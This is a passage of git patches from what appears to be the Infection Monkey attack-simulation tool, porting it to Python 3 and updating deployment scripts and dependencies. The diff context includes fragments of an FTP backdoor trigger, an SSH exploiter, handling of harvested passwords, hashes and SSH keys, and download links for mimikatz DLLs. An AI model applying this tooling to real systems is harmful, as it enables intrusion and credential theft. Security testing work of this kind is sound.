ftp_socket.recv(RECV_128).decode('utf-8')
- if self.socket_send_recv(ftp_socket, USERNAME + '\n'):
+ if self.socket_send_recv(ftp_socket, USERNAME + b'\n'):
time.sleep(FTP_TIME_BUFFER)
- self.socket_send(ftp_socket, PASSWORD + '\n')
+ self.socket_send(ftp_socket, PASSWORD + b'\n')
ftp_socket.close()
LOG.info('Backdoor Enabled, Now we can run commands')
else:
diff --git a/monkey/infection_monkey/network/ping_scanner.py b/monkey/infection_monkey/network/ping_scanner.py
index 659722bc2..bf215168e 100644
--- a/monkey/infection_monkey/network/ping_scanner.py
+++ b/monkey/infection_monkey/network/ping_scanner.py
@@ -55,7 +55,8 @@ class PingScanner(HostScanner, HostFinger):
PING_TIMEOUT_FLAG,
str(timeout), host.ip_addr],
stdout=subprocess.PIPE,
- stderr=subprocess.PIPE)
+ stderr=subprocess.PIPE,
+ text=True)
output = " ".join(sub_proc.communicate())
regex_result = self._ttl_regex.search(output)
diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py
index 6bff2b54a..3931ad009 100644
--- a/monkey/monkey_island/cc/services/node.py
+++ b/monkey/monkey_island/cc/services/node.py
@@ -52,7 +52,7 @@ class NodeService:
exploit["origin"] = NodeService.get_monkey_label(NodeService.get_monkey_by_id(edge["from"]))
exploits.append(exploit)
- exploits.sort(key=NodeService._cmp_exploits_by_timestamp)
+ exploits = sorted(exploits, key=lambda exploit: exploit['timestamp'])
new_node["exploits"] = exploits
new_node["accessible_from_nodes"] = accessible_from_nodes
@@ -71,14 +71,6 @@ class NodeService:
domain_name = " (" + node["domain_name"] + ")"
return node["os"]["version"] + " : " + node["ip_addresses"][0] + domain_name
- @staticmethod
- def _cmp_exploits_by_timestamp(exploit_1, exploit_2):
- if exploit_1["timestamp"] == exploit_2["timestamp"]:
- return 0
- if exploit_1["timestamp"] > exploit_2["timestamp"]:
- return 1
- return -1
-
@staticmethod
def get_monkey_os(monkey):
os = "unknown"
From a194bb5622171229253027e69d2aacc9fbb61a35 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Wed, 25 Sep 2019 16:06:15 +0300
Subject: [PATCH 008/108] More byte/str mixups fixed
---
monkey/infection_monkey/exploit/sshexec.py | 2 +-
monkey/monkey_island/cc/encryptor.py | 4 ++--
monkey/monkey_island/cc/resources/telemetry_feed.py | 2 +-
.../monkey_island/cc/services/telemetry/processing/exploit.py | 2 +-
.../cc/services/telemetry/processing/processing.py | 2 +-
.../cc/services/telemetry/processing/system_info.py | 4 ++--
6 files changed, 8 insertions(+), 8 deletions(-)
diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py
index fc8260904..f7abd3ce0 100644
--- a/monkey/infection_monkey/exploit/sshexec.py
+++ b/monkey/infection_monkey/exploit/sshexec.py
@@ -138,7 +138,7 @@ class SSHExploiter(HostExploiter):
if not self.host.os.get('machine'):
try:
_, stdout, _ = ssh.exec_command('uname -m')
- uname_machine = stdout.read().lower().strip()
+ uname_machine = stdout.read().lower().strip().decode()
if '' != uname_machine:
self.host.os['machine'] = uname_machine
except Exception as exc:
diff --git a/monkey/monkey_island/cc/encryptor.py b/monkey/monkey_island/cc/encryptor.py
index 2ee19cb11..585c84f87 100644
--- a/monkey/monkey_island/cc/encryptor.py
+++ b/monkey/monkey_island/cc/encryptor.py
@@ -38,10 +38,10 @@ class Encryptor:
def _unpad(self, message: str):
return message[0:-ord(message[len(message) - 1])]
- def enc(self, message):
+ def enc(self, message: str):
cipher_iv = Random.new().read(AES.block_size)
cipher = AES.new(self._cipher_key, AES.MODE_CBC, cipher_iv)
- return base64.b64encode(cipher_iv + cipher.encrypt(self._pad(message).encode()))
+ return base64.b64encode(cipher_iv + cipher.encrypt(self._pad(message).encode())).decode()
def dec(self, enc_message):
enc_message = base64.b64decode(enc_message)
diff --git a/monkey/monkey_island/cc/resources/telemetry_feed.py b/monkey/monkey_island/cc/resources/telemetry_feed.py
index e271c45c5..d6d14229d 100644
--- a/monkey/monkey_island/cc/resources/telemetry_feed.py
+++ b/monkey/monkey_island/cc/resources/telemetry_feed.py
@@ -33,7 +33,7 @@ class TelemetryFeed(flask_restful.Resource):
'timestamp': datetime.now().isoformat()
}
except KeyError as err:
- logger.error("Failed parsing telemetries. Error: {0}.".format(err.message))
+ logger.error("Failed parsing telemetries. Error: {0}.".format(err))
return {'telemetries': [], 'timestamp': datetime.now().isoformat()}
@staticmethod
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py
index cf6e9b544..9b25c97ef 100644
--- a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py
+++ b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py
@@ -55,4 +55,4 @@ def encrypt_exploit_creds(telemetry_json):
for field in ['password', 'lm_hash', 'ntlm_hash']:
credential = attempts[i][field]
if len(credential) > 0:
- attempts[i][field] = encryptor.enc(credential.encode('utf-8'))
+ attempts[i][field] = encryptor.enc(credential)
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/processing.py b/monkey/monkey_island/cc/services/telemetry/processing/processing.py
index 154096f79..36f75fdbd 100644
--- a/monkey/monkey_island/cc/services/telemetry/processing/processing.py
+++ b/monkey/monkey_island/cc/services/telemetry/processing/processing.py
@@ -26,4 +26,4 @@ def process_telemetry(telemetry_json):
else:
logger.info('Got unknown type of telemetry: %s' % telem_category)
except Exception as ex:
- logger.error("Exception caught while processing telemetry. Info: {}".format(ex.message), exc_info=True)
+ logger.error("Exception caught while processing telemetry. Info: {}".format(ex), exc_info=True)
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py
index ebf11c219..a43934a09 100644
--- a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py
+++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py
@@ -43,7 +43,7 @@ def encrypt_system_info_ssh_keys(ssh_info):
for idx, user in enumerate(ssh_info):
for field in ['public_key', 'private_key', 'known_hosts']:
if ssh_info[idx][field]:
- ssh_info[idx][field] = encryptor.enc(ssh_info[idx][field].encode('utf-8'))
+ ssh_info[idx][field] = encryptor.enc(ssh_info[idx][field])
def process_credential_info(telemetry_json):
@@ -77,7 +77,7 @@ def encrypt_system_info_creds(creds):
for field in ['password', 'lm_hash', 'ntlm_hash']:
if field in creds[user]:
# this encoding is because we might run into passwords which are not pure ASCII
- creds[user][field] = encryptor.enc(creds[user][field].encode('utf-8'))
+ creds[user][field] = encryptor.enc(creds[user][field])
def process_mimikatz_and_wmi_info(telemetry_json):
From 9a21a50fd16a207fa278dedd0c1f1e0122aa1810 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Thu, 26 Sep 2019 10:53:25 +0300
Subject: [PATCH 009/108] Windows deployment scripts to python3
---
deployment_scripts/config.ps1 | 5 +----
deployment_scripts/deploy_windows.ps1 | 13 ++++---------
2 files changed, 5 insertions(+), 13 deletions(-)
diff --git a/deployment_scripts/config.ps1 b/deployment_scripts/config.ps1
index 07be64612..4fee48e09 100644
--- a/deployment_scripts/config.ps1
+++ b/deployment_scripts/config.ps1
@@ -3,7 +3,7 @@ $MONKEY_FOLDER_NAME = "infection_monkey"
# Url of public git repository that contains monkey's source code
$MONKEY_GIT_URL = "https://github.com/guardicore/monkey"
# Link to the latest python download or install it manually
-$PYTHON_URL = "https://www.python.org/ftp/python/2.7.13/python-2.7.13.amd64.msi"
+$PYTHON_URL = "https://www.python.org/ftp/python/3.7.4/python-3.7.4-amd64.exe"
# Monkey binaries
$LINUX_32_BINARY_URL = "https://github.com/guardicore/monkey/releases/download/1.6/monkey-linux-32"
@@ -33,14 +33,11 @@ $TEMP_CPP_INSTALLER = "cpp.exe"
$TEMP_NPM_INSTALLER = "node.msi"
$TEMP_PYWIN32_INSTALLER = "pywin32.exe"
$TEMP_UPX_ZIP = "upx.zip"
-$TEMP_VC_FOR_PYTHON27_INSTALLER = "vcforpython.msi"
$UPX_FOLDER = "upx394w"
# Other url's
-$VC_FOR_PYTHON27_URL = "https://download.microsoft.com/download/7/9/6/796EF2E4-801B-4FC4-AB28-B59FBF6D907B/VCForPython27.msi"
$MONGODB_URL = "https://downloads.mongodb.org/win32/mongodb-win32-x86_64-2008plus-ssl-latest.zip"
$OPEN_SSL_URL = "https://indy.fulgan.com/SSL/Archive/openssl-1.0.2l-i386-win32.zip"
-$CPP_URL = "https://go.microsoft.com/fwlink/?LinkId=746572"
$NPM_URL = "https://nodejs.org/dist/v10.13.0/node-v10.13.0-x64.msi"
$PYWIN32_URL = "https://github.com/mhammond/pywin32/releases/download/b224/pywin32-224.win-amd64-py2.7.exe"
$UPX_URL = "https://github.com/upx/upx/releases/download/v3.94/upx394w.zip"
diff --git a/deployment_scripts/deploy_windows.ps1 b/deployment_scripts/deploy_windows.ps1
index 17d08ecc8..1bfb62445 100644
--- a/deployment_scripts/deploy_windows.ps1
+++ b/deployment_scripts/deploy_windows.ps1
@@ -44,15 +44,15 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName,
try
{
$version = cmd.exe /c '"python" --version 2>&1'
- if ( $version -like 'Python 2.7.*' ) {
- "Python 2.7.* was found, installing dependancies"
+ if ( $version -like 'Python 3.*' ) {
+ "Python 3.* was found, installing dependencies"
} else {
throw System.Management.Automation.CommandNotFoundException
}
}
catch [System.Management.Automation.CommandNotFoundException]
{
- "Downloading python 2.7 ..."
+ "Downloading python 3 ..."
$webClient.DownloadFile($PYTHON_URL, $TEMP_PYTHON_INSTALLER)
Start-Process -Wait $TEMP_PYTHON_INSTALLER -ErrorAction Stop
$env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine")
@@ -69,7 +69,7 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName,
$PYTHON_PATH = Split-Path -Path (Get-Command python | Select-Object -ExpandProperty Source)
# Get vcforpython27 before installing requirements
- "Downloading Visual C++ Compiler for Python 2.7 ..."
+ "Downloading Visual C++ Compiler for Python 3 ..."
$webClient.DownloadFile($VC_FOR_PYTHON27_URL, $TEMP_VC_FOR_PYTHON27_INSTALLER)
Start-Process -Wait $TEMP_VC_FOR_PYTHON27_INSTALLER -ErrorAction Stop
$env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine")
@@ -115,11 +115,6 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName,
"Removing zip file"
Remove-Item $TEMP_OPEN_SSL_ZIP
- # Download and install C++ redistributable
- "Downloading C++ redistributable ..."
- $webClient.DownloadFile($CPP_URL, $TEMP_CPP_INSTALLER)
- Start-Process -Wait $TEMP_CPP_INSTALLER -ErrorAction Stop
- Remove-Item $TEMP_CPP_INSTALLER
# Generate ssl certificate
"Generating ssl certificate"
From 2af17bc37193e6d1dad4addf0146265e67566199 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Wed, 2 Oct 2019 10:15:53 +0300
Subject: [PATCH 010/108] Windows deployment scripts to python3
---
deployment_scripts/config.ps1 | 18 +++++-------
deployment_scripts/deploy_windows.ps1 | 35 +++++------------------
monkey/infection_monkey/build_windows.bat | 2 +-
monkey/infection_monkey/monkey.spec | 12 +-------
monkey/monkey_island/requirements.txt | 4 +--
5 files changed, 18 insertions(+), 53 deletions(-)
diff --git a/deployment_scripts/config.ps1 b/deployment_scripts/config.ps1
index 4fee48e09..a3dafc66e 100644
--- a/deployment_scripts/config.ps1
+++ b/deployment_scripts/config.ps1
@@ -22,24 +22,20 @@ $SAMBA_64_BINARY_NAME = "sc_monkey_runner64.so"
# Other directories and paths ( most likely you dont need to configure)
$MONKEY_ISLAND_DIR = "\monkey\monkey_island"
$MONKEY_DIR = "\monkey\infection_monkey"
-$SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\exploit\sambacry_monkey_runner"
+$SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\bin"
$PYTHON_DLL = "C:\Windows\System32\python27.dll"
-$MK32_DLL = "mk32.dll"
-$MK64_DLL = "mk64.dll"
-$TEMP_PYTHON_INSTALLER = ".\python.msi"
+$MK32_DLL = "mk32.zip"
+$MK64_DLL = "mk64.zip"
+$TEMP_PYTHON_INSTALLER = ".\python.exe"
$TEMP_MONGODB_ZIP = ".\mongodb.zip"
$TEMP_OPEN_SSL_ZIP = ".\openssl.zip"
-$TEMP_CPP_INSTALLER = "cpp.exe"
$TEMP_NPM_INSTALLER = "node.msi"
$TEMP_PYWIN32_INSTALLER = "pywin32.exe"
-$TEMP_UPX_ZIP = "upx.zip"
-$UPX_FOLDER = "upx394w"
# Other url's
$MONGODB_URL = "https://downloads.mongodb.org/win32/mongodb-win32-x86_64-2008plus-ssl-latest.zip"
$OPEN_SSL_URL = "https://indy.fulgan.com/SSL/Archive/openssl-1.0.2l-i386-win32.zip"
$NPM_URL = "https://nodejs.org/dist/v10.13.0/node-v10.13.0-x64.msi"
-$PYWIN32_URL = "https://github.com/mhammond/pywin32/releases/download/b224/pywin32-224.win-amd64-py2.7.exe"
-$UPX_URL = "https://github.com/upx/upx/releases/download/v3.94/upx394w.zip"
-$MK32_DLL_URL = "https://github.com/guardicore/mimikatz/releases/download/1.1.0/mk32.dll"
-$MK64_DLL_URL = "https://github.com/guardicore/mimikatz/releases/download/1.1.0/mk64.dll"
+$PYWIN32_URL = "https://github.com/mhammond/pywin32/releases/download/b225/pywin32-225.win-amd64-py3.7.exe"
+$MK32_DLL_URL = "https://github.com/guardicore/mimikatz/releases/download/1.1.0/mk32.zip"
+$MK64_DLL_URL = "https://github.com/guardicore/mimikatz/releases/download/1.1.0/mk64.zip"
diff --git a/deployment_scripts/deploy_windows.ps1 b/deployment_scripts/deploy_windows.ps1
index 1bfb62445..c7192a4c8 100644
--- a/deployment_scripts/deploy_windows.ps1
+++ b/deployment_scripts/deploy_windows.ps1
@@ -53,6 +53,7 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName,
catch [System.Management.Automation.CommandNotFoundException]
{
"Downloading python 3 ..."
+ "Select 'add to PATH' when installing"
$webClient.DownloadFile($PYTHON_URL, $TEMP_PYTHON_INSTALLER)
Start-Process -Wait $TEMP_PYTHON_INSTALLER -ErrorAction Stop
$env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine")
@@ -60,23 +61,12 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName,
# Check if installed correctly
$version = cmd.exe /c '"python" --version 2>&1'
if ( $version -like '* is not recognized*' ) {
- "Python is not found in PATH. Add it manually or reinstall python."
+ "Python is not found in PATH. If you just installed python you need to restart cmd.
+ Else, add it manually or reinstall python."
return
}
}
- # Set python home dir
- $PYTHON_PATH = Split-Path -Path (Get-Command python | Select-Object -ExpandProperty Source)
-
- # Get vcforpython27 before installing requirements
- "Downloading Visual C++ Compiler for Python 3 ..."
- $webClient.DownloadFile($VC_FOR_PYTHON27_URL, $TEMP_VC_FOR_PYTHON27_INSTALLER)
- Start-Process -Wait $TEMP_VC_FOR_PYTHON27_INSTALLER -ErrorAction Stop
- $env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine")
- Remove-Item $TEMP_VC_FOR_PYTHON27_INSTALLER
-
- # Install requirements for island
- $islandRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\requirements.txt" -ErrorAction Stop
"Upgrading pip..."
$output = cmd.exe /c 'python -m pip install --user --upgrade pip 2>&1'
$output
@@ -84,8 +74,11 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName,
"Make sure pip module is installed and re-run this script."
return
}
+
+ "Installing python packages for island"
+ $islandRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\requirements.txt" -ErrorAction Stop
& python -m pip install --user -r $islandRequirements
- # Install requirements for monkey
+ "Installing python packages for monkey"
$monkeyRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_DIR | Join-Path -ChildPath "\requirements_windows.txt"
& python -m pip install --user -r $monkeyRequirements
@@ -115,7 +108,6 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName,
"Removing zip file"
Remove-Item $TEMP_OPEN_SSL_ZIP
-
# Generate ssl certificate
"Generating ssl certificate"
Push-Location -Path (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR)
@@ -167,19 +159,6 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName,
$binDir = (Join-Path -Path $monkey_home -ChildPath $MONKEY_DIR | Join-Path -ChildPath "\bin")
New-Item -ItemType directory -path $binaries -ErrorAction SilentlyContinue
- # Download upx
- if(!(Test-Path -Path (Join-Path -Path $binDir -ChildPath "upx.exe") )){
- "Downloading upx ..."
- $webClient.DownloadFile($UPX_URL, $TEMP_UPX_ZIP)
- "Unzipping upx"
- Expand-Archive $TEMP_UPX_ZIP -DestinationPath $binDir -ErrorAction SilentlyContinue
- Move-Item -Path (Join-Path -Path $binDir -ChildPath $UPX_FOLDER | Join-Path -ChildPath "upx.exe") -Destination $binDir
- # Remove unnecessary files
- Remove-Item -Recurse -Force (Join-Path -Path $binDir -ChildPath $UPX_FOLDER)
- "Removing zip file"
- Remove-Item $TEMP_UPX_ZIP
- }
-
# Download mimikatz binaries
$mk32_path = Join-Path -Path $binDir -ChildPath $MK32_DLL
if(!(Test-Path -Path $mk32_path )){
diff --git a/monkey/infection_monkey/build_windows.bat b/monkey/infection_monkey/build_windows.bat
index e5ff5a805..e2bf2935e 100644
--- a/monkey/infection_monkey/build_windows.bat
+++ b/monkey/infection_monkey/build_windows.bat
@@ -1 +1 @@
-pyinstaller -F --log-level=DEBUG --clean --upx-dir=.\bin monkey.spec
\ No newline at end of file
+pyinstaller -F --log-level=DEBUG --clean --noupx monkey.spec
diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec
index d29adddb1..e35fd2630 100644
--- a/monkey/infection_monkey/monkey.spec
+++ b/monkey/infection_monkey/monkey.spec
@@ -67,17 +67,11 @@ def process_datas(orig_datas):
def get_binaries():
- binaries = get_windows_only_binaries() if is_windows() else get_linux_only_binaries()
+ binaries = [] if is_windows() else get_linux_only_binaries()
binaries += get_sc_binaries()
return binaries
-def get_windows_only_binaries():
- binaries = []
- binaries += get_msvcr()
- return binaries
-
-
def get_linux_only_binaries():
binaries = []
binaries += get_traceroute_binaries()
@@ -92,10 +86,6 @@ def get_sc_binaries():
return [(x, get_bin_file_path(x), 'BINARY') for x in ['sc_monkey_runner32.so', 'sc_monkey_runner64.so']]
-def get_msvcr():
- return [('msvcr100.dll', os.environ['WINDIR'] + '\\system32\\msvcr100.dll', 'BINARY')]
-
-
def get_traceroute_binaries():
traceroute_name = 'traceroute32' if is_32_bit() else 'traceroute64'
return [(traceroute_name, get_bin_file_path(traceroute_name), 'BINARY')]
diff --git a/monkey/monkey_island/requirements.txt b/monkey/monkey_island/requirements.txt
index e6d81e6aa..57ca79348 100644
--- a/monkey/monkey_island/requirements.txt
+++ b/monkey/monkey_island/requirements.txt
@@ -1,6 +1,6 @@
bson
python-dateutil
-tornado==5.1.1
+tornado
werkzeug
jinja2
markupsafe
@@ -10,7 +10,7 @@ flask
Flask-Pymongo
Flask-Restful
Flask-JWT
-jsonschema==2.6.0
+jsonschema
netifaces
ipaddress
enum34
From fabcd4c9df0ac77e3ac45821ba81a7bab3164741 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Thu, 3 Oct 2019 12:40:58 +0300
Subject: [PATCH 011/108] Removed enum34 from requirements
---
.../infection_monkey/requirements_windows.txt | 2 -
monkey/monkey_island/cc/ui/package-lock.json | 101 +++++++++---------
monkey/monkey_island/cc/ui/package.json | 14 +--
monkey/monkey_island/requirements.txt | 1 -
4 files changed, 57 insertions(+), 61 deletions(-)
diff --git a/monkey/infection_monkey/requirements_windows.txt b/monkey/infection_monkey/requirements_windows.txt
index ce5021923..cb3f43660 100644
--- a/monkey/infection_monkey/requirements_windows.txt
+++ b/monkey/infection_monkey/requirements_windows.txt
@@ -1,4 +1,3 @@
-enum34
impacket
pycryptodome
cffi
@@ -15,4 +14,3 @@ wmi
pywin32
pymssql
pyftpdlib
-enum34
diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json
index 14e547416..b402cad83 100644
--- a/monkey/monkey_island/cc/ui/package-lock.json
+++ b/monkey/monkey_island/cc/ui/package-lock.json
@@ -2731,7 +2731,7 @@
"dev": true,
"requires": {
"bluebird": "3.5.5",
- "chownr": "1.1.2",
+ "chownr": "1.1.3",
"figgy-pudding": "3.5.1",
"glob": "7.1.4",
"graceful-fs": "4.2.2",
@@ -2759,7 +2759,7 @@
"integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==",
"dev": true,
"requires": {
- "yallist": "3.0.3"
+ "yallist": "3.1.1"
}
},
"y18n": {
@@ -2769,9 +2769,9 @@
"dev": true
},
"yallist": {
- "version": "3.0.3",
- "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.0.3.tgz",
- "integrity": "sha512-S+Zk8DEWE6oKpV+vI3qWkaK+jSbIK86pCwe2IF/xwIpQ8jEuxpw9NyaGjmp9+BoJv5FV2piqCDcoCtStppiq2A==",
+ "version": "3.1.1",
+ "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz",
+ "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==",
"dev": true
}
}
@@ -2945,9 +2945,9 @@
}
},
"chownr": {
- "version": "1.1.2",
- "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.2.tgz",
- "integrity": "sha512-GkfeAQh+QNy3wquu9oIZr6SS5x7wGdSgNQvD10X3r+AZr1Oys22HW8kAmDMvNg2+Dm0TeGaEuO8gFwdBXxwO8A==",
+ "version": "1.1.3",
+ "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.3.tgz",
+ "integrity": "sha512-i70fVHhmV3DtTl6nqvZOnIjbY0Pe4kAUjwHj8z0zAdgBtYrJyYwLKCCuRBQ5ppkyL0AkN7HKRnETdmdp1zqNXw==",
"dev": true
},
"chrome-trace-event": {
@@ -5117,9 +5117,9 @@
}
},
"eslint-plugin-react": {
- "version": "7.14.3",
- "resolved": "https://registry.npmjs.org/eslint-plugin-react/-/eslint-plugin-react-7.14.3.tgz",
- "integrity": "sha512-EzdyyBWC4Uz2hPYBiEJrKCUi2Fn+BJ9B/pJQcjw5X+x/H2Nm59S4MJIvL4O5NEE0+WbnQwEBxWY03oUk+Bc3FA==",
+ "version": "7.15.1",
+ "resolved": "https://registry.npmjs.org/eslint-plugin-react/-/eslint-plugin-react-7.15.1.tgz",
+ "integrity": "sha512-YotSItgMPwLGlr3df44MGVyXnHkmKcpkHTzpte3QwJtocr3nFqCXCuoxFZeBtnT8RHdj038NlTvam3dcAFrMcA==",
"dev": true,
"requires": {
"array-includes": "3.0.3",
@@ -5652,9 +5652,9 @@
"optional": true
},
"filepond": {
- "version": "4.7.1",
- "resolved": "https://registry.npmjs.org/filepond/-/filepond-4.7.1.tgz",
- "integrity": "sha512-AxZBhsGS9QEJfbLiASUJMuS3hLhq/HbkKaJx1gKYCQ0lbs/OfciKKdeFbtAVKk0o9o6DcITw2C+QqFcTP1QBCg=="
+ "version": "4.7.2",
+ "resolved": "https://registry.npmjs.org/filepond/-/filepond-4.7.2.tgz",
+ "integrity": "sha512-OqG35MnmvrGnq2KgHO0PS8uujzRqQL/bMlSy0StqRn6RRAM6wBM9gzQl22IvWLwMyw6g8aIZTZAhMaiTS1LZsA=="
},
"fill-range": {
"version": "2.2.3",
@@ -6362,7 +6362,7 @@
"bundled": true,
"dev": true,
"requires": {
- "inherits": "~2.0.0"
+ "inherits": "2.0.3"
}
},
"boom": {
@@ -6485,7 +6485,7 @@
"dev": true,
"optional": true,
"requires": {
- "jsbn": "~0.1.0"
+ "jsbn": "0.1.1"
}
},
"extend": {
@@ -6695,14 +6695,13 @@
"dev": true,
"optional": true,
"requires": {
- "jsbn": "~0.1.0"
+ "jsbn": "0.1.1"
}
},
"jsbn": {
"version": "0.1.1",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"json-schema": {
"version": "0.2.3",
@@ -6716,7 +6715,7 @@
"dev": true,
"optional": true,
"requires": {
- "jsonify": "~0.0.0"
+ "jsonify": "0.0.0"
}
},
"json-stringify-safe": {
@@ -15577,9 +15576,9 @@
}
},
"react": {
- "version": "16.9.0",
- "resolved": "https://registry.npmjs.org/react/-/react-16.9.0.tgz",
- "integrity": "sha512-+7LQnFBwkiw+BobzOF6N//BdoNw0ouwmSJTEm9cglOOmsg/TMiFHZLe2sEoN5M7LgJTj9oHH0gxklfnQe66S1w==",
+ "version": "16.10.1",
+ "resolved": "https://registry.npmjs.org/react/-/react-16.10.1.tgz",
+ "integrity": "sha512-2bisHwMhxQ3XQz4LiJJwG3360pY965pTl/MRrZYxIBKVj4fOHoDs5aZAkYXGxDRO1Li+SyjTAilQEbOmtQJHzA==",
"requires": {
"loose-envify": "1.3.1",
"object-assign": "4.1.1",
@@ -15667,14 +15666,14 @@
}
},
"react-dom": {
- "version": "16.9.0",
- "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-16.9.0.tgz",
- "integrity": "sha512-YFT2rxO9hM70ewk9jq0y6sQk8cL02xm4+IzYBz75CQGlClQQ1Bxq0nhHF6OtSbit+AIahujJgb/CPRibFkMNJQ==",
+ "version": "16.10.1",
+ "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-16.10.1.tgz",
+ "integrity": "sha512-SmM4ZW0uug0rn95U8uqr52I7UdNf6wdGLeXDmNLfg3y5q5H9eAbdjF5ubQc3bjDyRrvdAB2IKG7X0GzSpnn5Mg==",
"requires": {
"loose-envify": "1.3.1",
"object-assign": "4.1.1",
"prop-types": "15.7.2",
- "scheduler": "0.15.0"
+ "scheduler": "0.16.1"
}
},
"react-event-timeline": {
@@ -15719,9 +15718,9 @@
}
},
"react-hot-loader": {
- "version": "4.12.13",
- "resolved": "https://registry.npmjs.org/react-hot-loader/-/react-hot-loader-4.12.13.tgz",
- "integrity": "sha512-4Byk3aVQhcmTnVCBvDHOEOUnMFMj81r2yRKZQSfLOG2yd/4hm/A3oK15AnCZilQExqSFSsHcK64lIIU+dU2zQQ==",
+ "version": "4.12.14",
+ "resolved": "https://registry.npmjs.org/react-hot-loader/-/react-hot-loader-4.12.14.tgz",
+ "integrity": "sha512-ecxH4eBvEaJ9onT8vkEmK1FAAJUh1PqzGqds9S3k+GeihSp7nKAp4fOxytO+Ghr491LiBD38jaKyDXYnnpI9pQ==",
"dev": true,
"requires": {
"fast-levenshtein": "2.0.6",
@@ -15746,7 +15745,7 @@
"integrity": "sha512-0XsbTXxgiaCDYDIWFcwkmerZPSwywfUqYmwT4jzewKTQSWoE6FCMoUVOeBJWK3E/CrWbxRG3m5GzY4lnIwGRBA==",
"dev": true,
"requires": {
- "react-is": "16.9.0"
+ "react-is": "16.10.1"
}
},
"json5": {
@@ -15770,9 +15769,9 @@
}
},
"react-is": {
- "version": "16.9.0",
- "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.9.0.tgz",
- "integrity": "sha512-tJBzzzIgnnRfEm046qRcURvwQnZVXmuCbscxUO5RWrGTXpon2d4c8mI0D8WE6ydVIm29JiLB6+RslkIvym9Rjw==",
+ "version": "16.10.1",
+ "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.10.1.tgz",
+ "integrity": "sha512-BXUMf9sIOPXXZWqr7+c5SeOKJykyVr2u0UDzEf4LNGc6taGkQe1A9DFD07umCIXz45RLr9oAAwZbAJ0Pkknfaw==",
"dev": true
},
"source-map": {
@@ -16008,9 +16007,9 @@
}
},
"react-toggle": {
- "version": "4.0.2",
- "resolved": "https://registry.npmjs.org/react-toggle/-/react-toggle-4.0.2.tgz",
- "integrity": "sha512-EPTWnN7gQHgEAUEmjheanZXNzY5TPnQeyyHfEs3YshaiWZf5WNjfYDrglO5F1Hl/dNveX18i4l0grTEsYH2Ccw==",
+ "version": "4.1.1",
+ "resolved": "https://registry.npmjs.org/react-toggle/-/react-toggle-4.1.1.tgz",
+ "integrity": "sha512-+wXlMcSpg8SmnIXauMaZiKpR+r2wp2gMUteroejp2UTSqGTVvZLN+m9EhMzFARBKEw7KpQOwzCyfzeHeAndQGw==",
"requires": {
"classnames": "2.2.6"
}
@@ -16706,9 +16705,9 @@
}
},
"scheduler": {
- "version": "0.15.0",
- "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.15.0.tgz",
- "integrity": "sha512-xAefmSfN6jqAa7Kuq7LIJY0bwAPG3xlCj0HMEBQk1lxYiDKZscY2xJ5U/61ZTrYbmNQbXa+gc7czPkVo11tnCg==",
+ "version": "0.16.1",
+ "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.16.1.tgz",
+ "integrity": "sha512-MIuie7SgsqMYOdCXVFZa8SKoNorJZUWHW8dPgto7uEHn1lX3fg2Gu0TzgK8USj76uxV7vB5eRMnZs/cdEHg+cg==",
"requires": {
"loose-envify": "1.3.1",
"object-assign": "4.1.1"
@@ -17936,20 +17935,20 @@
}
},
"terser": {
- "version": "4.3.1",
- "resolved": "https://registry.npmjs.org/terser/-/terser-4.3.1.tgz",
